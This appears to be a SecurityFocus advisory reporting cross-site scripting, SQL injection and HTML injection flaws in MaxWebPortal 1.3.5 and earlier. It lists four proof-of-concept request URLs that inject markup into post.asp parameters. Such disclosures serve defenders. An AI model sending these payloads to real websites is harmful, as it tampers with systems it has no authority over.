source: https://www.securityfocus.com/bid/13601/info
MaxWebPortal is affected by multiple remote vulnerabilities. These issues may allow an attacker to carry out cross-site scripting, SQL injection and HTML injection attacks.
MaxWebPortal 1.3.5 and prior versions are reportedly vulnerable to these issues.
Cross-site Scripting
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&mod="><plaintext>
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&M="><plaintext>
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&type="><plaintext>
HTML Injection:
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=http://<plaintext>